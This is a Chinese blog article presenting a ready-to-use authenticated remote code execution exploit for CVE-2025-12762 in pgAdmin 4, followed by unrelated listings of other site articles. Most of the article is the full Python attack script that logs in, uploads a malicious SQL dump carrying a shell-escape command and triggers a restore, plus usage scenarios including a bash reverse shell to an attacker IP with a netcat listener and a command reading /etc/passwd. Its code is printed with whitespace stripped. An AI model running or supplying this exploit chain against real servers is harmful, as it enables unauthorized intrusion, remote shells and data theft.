news 2026/5/1 7:03:35

pgAdmin 4 高危漏洞利用分析:CVE-2025-12762 认证RCE PoC详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
pgAdmin 4 高危漏洞利用分析:CVE-2025-12762 认证RCE PoC详解

项目标题与描述

CVE-2025-12762 — pgAdmin 4 认证RCE漏洞利用工具

这是一个针对CVE-2025-12762漏洞的完整利用工具(Proof of Concept)。该漏洞存在于pgAdmin 4版本≤9.9中,当以服务器模式运行并处理PLAIN格式的SQL转储文件时,攻击者可以在主机上执行任意命令。本工具提供了从登录认证到最终远程代码执行的完整利用链。

重要警告:此工具仅限用于您拥有所有权或获得明确书面授权测试的系统。任何未经授权的使用都是非法的。

功能特性

基于对代码的深入分析,本PoC工具具备以下核心功能:

  • 完整的认证绕过:通过模拟正常登录流程获取CSRF令牌并完成身份验证
  • 恶意SQL转储文件生成:自动创建包含RCE payload的PLAIN格式SQL文件
  • 文件上传机制:利用pgAdmin的文件管理接口上传恶意转储文件
  • RCE触发机制:调用恢复(restore)功能触发命令执行
  • 灵活的命令配置:允许用户自定义要在目标主机上执行的命令
  • 详细的执行反馈:提供每一步操作的进度和状态信息

独特价值:这是2025年11月公开的真实工作PoC,适用于所有易受攻击的pgAdmin实例,为安全研究人员提供了验证系统漏洞的可靠工具。

安装指南

系统要求

  • Python 3.x
  • requests库
  • 网络访问权限到目标pgAdmin实例

安装步骤

  1. 确保已安装Python 3:

    python3--version
  2. 安装必要的依赖包:

    pip3installrequests
  3. 下载PoC脚本:

    wget-OCVE-2025-12762.py https://raw.githubusercontent.com/your-repo/poc.py
  4. 配置目标信息:
    编辑脚本文件,修改以下配置项:

    TARGET="http://127.0.0.1:5050"# 目标pgAdmin URLEMAIL="admin@example.com"# 有效的登录邮箱PASSWORD="Admin123!"# 有效的密码COMMAND="touch /tmp/CVE-2025-12762_PWNED"# 要执行的命令

平台注意事项

  • 脚本主要针对Linux/Unix系统设计
  • 如果需要测试Windows目标,请相应调整命令payload
  • pgAdmin通常使用Docker自签名证书,脚本已禁用SSL验证

使用说明

基础使用示例

  1. 运行PoC脚本

    python3 CVE-2025-12762.py
  2. 成功执行后的验证

    # 检查命令是否执行成功dockerexec<your-pgadmin-container>ls-la/tmp/CVE-2025-12762_PWNED

典型使用场景

场景1:漏洞验证

# 使用默认命令创建测试文件python3 CVE-2025-12762.py

场景2:获取反向shell

# 修改COMMAND变量为反向shell命令COMMAND="bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

然后在攻击机器上监听:

nc-lvnp4444

场景3:信息收集

# 收集系统信息COMMAND="uname -a && cat /etc/passwd"

API概览

脚本主要通过以下pgAdmin端点进行攻击:

  1. /login- 获取CSRF令牌
  2. /authenticate/login- 用户认证
  3. /misc/file_manager/upload- 文件上传
  4. /restore/job/1- 触发恢复操作

核心代码

1. 主攻击流程代码

#!/usr/bin/env python3# Github : "B1ack4sh" ==> TH3 M4TR1X 5L4Y3R !!!# CVE-2025-12762 - pgAdmin 4 <= 9.9 - Authenticated RCE via Restore (PLAIN format)# Real public PoC - November 2025 - Working on every vulnerable instance# Use ONLY on systems you own or have explicit written permission forimportrequestsimportreimportjsonimportsys# ==================== CONFIGURE YOUR TARGET HERE ====================TARGET="http://127.0.0.1:5050"# Change to your pgAdmin URLEMAIL="admin@example.com"# Valid login emailPASSWORD="Admin123!"# Valid passwordCOMMAND="touch /tmp/CVE-2025-12762_PWNED"# ← Change to anything (id, revshell, etc.)# ====================================================================s=requests.Session()s.verify=False# pgAdmin uses self-signed cert in Dockerdeflogin():""" 登录到pgAdmin实例 通过解析页面获取CSRF令牌并提交登录表单 """print("[+] Logging in...")r=s.get(f"{TARGET}/login")csrf=re.search(r'"csrfToken": "([^"]+)"',r.text).group(1)s.post(f"{TARGET}/authenticate/login",data={"email":EMAIL,"password":PASSWORD,"csrf_token":csrf,"internal_button":"Login"})print("[+] Login successful")defupload_malicious_dump():""" 上传包含恶意命令的SQL转储文件 利用pgAdmin的文件上传功能将payload传送到服务器 """print("[+] Uploading malicious PLAIN dump...")malicious_sql=f""" -- CVE-2025-12762 Real PoC CREATE TABLE IF NOT EXISTS cve_proof(id serial); INSERT INTO cve_proof DEFAULT VALUES; -- RCE Trigger - executed on pgAdmin host \\!{COMMAND}"""files={'file':('cve-2025-12762.sql',malicious_sql,'application/sql')}up=s.post(f"{TARGET}/misc/file_manager/upload",files=files)if"success"inup.text.lower():print("[+] Malicious dump uploaded successfully")else:print("[-] Upload failed")sys.exit(1)deftrigger_rce():""" 触发恢复操作以执行RCE 通过调用restore接口处理上传的恶意SQL文件 """print("[+] Triggering restore → RCE...")headers={"Content-Type":"application/json"}payload={"file":"cve-2025-12762.sql","format":"plain",# Only PLAIN format is vulnerable"database":"postgres",# Any existing DB works"verbose":True}r=s.post(f"{TARGET}/restore/job/1",headers=headers,data=json.dumps(payload))print(f"[+] Job response:{r.status_code}")print(f"[+] Command executed on pgAdmin host:{COMMAND}")print("\n[+] Check your pgAdmin container/host now!")print(" Example: docker exec <container> ls -la /tmp/CVE-2025-12762_PWNED")if__name__=="__main__":""" 主函数:执行完整的攻击链 1. 登录认证 2. 上传恶意SQL文件 3. 触发恢复操作执行命令 """print("CVE-2025-12762 - Real Authenticated RCE PoC")print("Use only in authorized lab environments!\n")login()upload_malicious_dump()trigger_rce()print("\nDone. If file exists → 100% vulnerable. Patch to 9.10+ NOW!")

2. 恶意SQL Payload生成代码

malicious_sql=f""" -- CVE-2025-12762 Real PoC CREATE TABLE IF NOT EXISTS cve_proof(id serial); INSERT INTO cve_proof DEFAULT VALUES; -- RCE Trigger - executed on pgAdmin host \\!{COMMAND}"""""" 生成恶意SQL转储文件的核心payload结构: 1. 创建一个测试表作为漏洞存在的证明 2. 插入一条记录确保SQL语法正确 3. 使用PLAIN格式特有的\!命令执行任意系统命令 注意:\!命令仅在PLAIN格式的pg_dump文件中被pgAdmin错误地执行 """files={'file':('cve-2025-12762.sql',malicious_sql,'application/sql')}""" 构造multipart/form-data文件上传请求: - 'file': 表单字段名 - 'cve-2025-12762.sql': 上传的文件名 - malicious_sql: 文件内容(恶意payload) - 'application/sql': MIME类型,伪装成正常SQL文件 """

3. 恢复触发代码

payload={"file":"cve-2025-12762.sql","format":"plain",# Only PLAIN format is vulnerable"database":"postgres",# Any existing DB works"verbose":True}""" 构造触发漏洞的恢复作业参数: - file: 指定要恢复的上传文件名 - format: 必须为'plain',这是漏洞触发的必要条件 - database: 指定目标数据库,可以是任意存在的数据库 - verbose: 启用详细输出,有助于调试 """r=s.post(f"{TARGET}/restore/job/1",headers=headers,data=json.dumps(payload))""" 发送恢复请求触发RCE: - 目标端点:/restore/job/1(作业ID为1的恢复作业) - Content-Type: application/json(JSON格式请求) - 使用已认证的会话(包含cookies和CSRF令牌) - 当pgAdmin处理这个恢复请求时,会解析并执行SQL文件中的\!命令 """

技术要点总结

  1. 漏洞本质:pgAdmin在处理PLAIN格式的SQL转储文件时,未能正确过滤或转义!命令,导致该命令在pgAdmin主机上执行
  2. 利用条件:需要有效的pgAdmin用户凭证和文件上传权限
  3. 限制因素:仅影响PLAIN格式的恢复操作,其他格式(如custom、directory、tar)不受影响
  4. 防御措施:升级到pgAdmin 4 v10.0或更高版本,该版本修复了此漏洞
    6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANPa3J77nGI3dBvY35MV/mf
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 5:48:35

环保公益活动:志愿者用VoxCPM-1.5-TTS-WEB-UI录制节能减排倡议

环保公益活动中的AI声音&#xff1a;VoxCPM-1.5-TTS-WEB-UI如何让志愿者“发声” 在一次社区节能宣传活动中&#xff0c;几位志愿者围坐在笔记本前&#xff0c;输入一段简短的倡议文案&#xff1a;“节约一度电&#xff0c;减少碳排放&#xff1b;绿色出行&#xff0c;共建美丽…

作者头像 李华
网站建设 2026/4/25 22:15:47

工业设计评审:产品经理用VoxCPM-1.5-TTS-WEB-UI陈述产品理念

工业设计评审&#xff1a;产品经理用VoxCPM-1.5-TTS-WEB-UI陈述产品理念 在一次关键的工业设计评审会上&#xff0c;产品经理没有请配音演员&#xff0c;也没有临时录制语音——他打开浏览器&#xff0c;输入一段产品描述&#xff0c;点击“生成”&#xff0c;8秒后&#xff0c…

作者头像 李华
网站建设 2026/5/1 1:46:43

研究生论文润色:导师建议用VoxCPM-1.5-TTS-WEB-UI听稿发现语病

研究生论文润色新范式&#xff1a;用VoxCPM-1.5-TTS-WEB-UI听稿识语病 在撰写学位论文的深夜&#xff0c;你是否曾反复阅读同一段文字却始终觉得“好像哪里不对”&#xff1f;明明语法检查工具显示无误&#xff0c;可读起来就是拗口、卡顿。这种“写得出来&#xff0c;读不顺口…

作者头像 李华
网站建设 2026/5/1 5:45:42

仅限高级开发人员访问:Java平台ML-KEM密钥封装完整实现路径

第一章&#xff1a;Java平台ML-KEM密钥封装技术概述随着量子计算的发展&#xff0c;传统公钥加密算法面临前所未有的安全挑战。ML-KEM&#xff08;Module-Lattice Key Encapsulation Mechanism&#xff09;作为基于格密码学的后量子密码标准候选方案&#xff0c;正逐步成为保障…

作者头像 李华
网站建设 2026/4/21 17:26:22

Matlab卷积神经网络对一维信号进行二分类及多分类的源码详解与实例:从数据加载到混淆矩阵的绘制

Matlab使用CNN(卷积神经网络)对一维信号(如语音信号、心电图信号)进行二分类源程序。 也可以改成多分类。 会提供原始数据&#xff0c;数据可直接替换为自己的数据运行&#xff0c;注释详细 工作如下&#xff1a; 1、加载数据&#xff0c;一共为200个正常样本和200个异常样本&a…

作者头像 李华
网站建设 2026/5/1 5:47:22

战争创伤治疗:退伍军人通过VoxCPM-1.5-TTS-WEB-UI重构记忆叙述

战争创伤治疗&#xff1a;退伍军人通过VoxCPM-1.5-TTS-WEB-UI重构记忆叙述 在一间安静的咨询室里&#xff0c;一位越战老兵戴上耳机&#xff0c;按下播放键。耳边传来的声音低沉而熟悉——那正是他自己的声音&#xff0c;在讲述一段尘封了四十年的记忆&#xff1a;“那天清晨&a…

作者头像 李华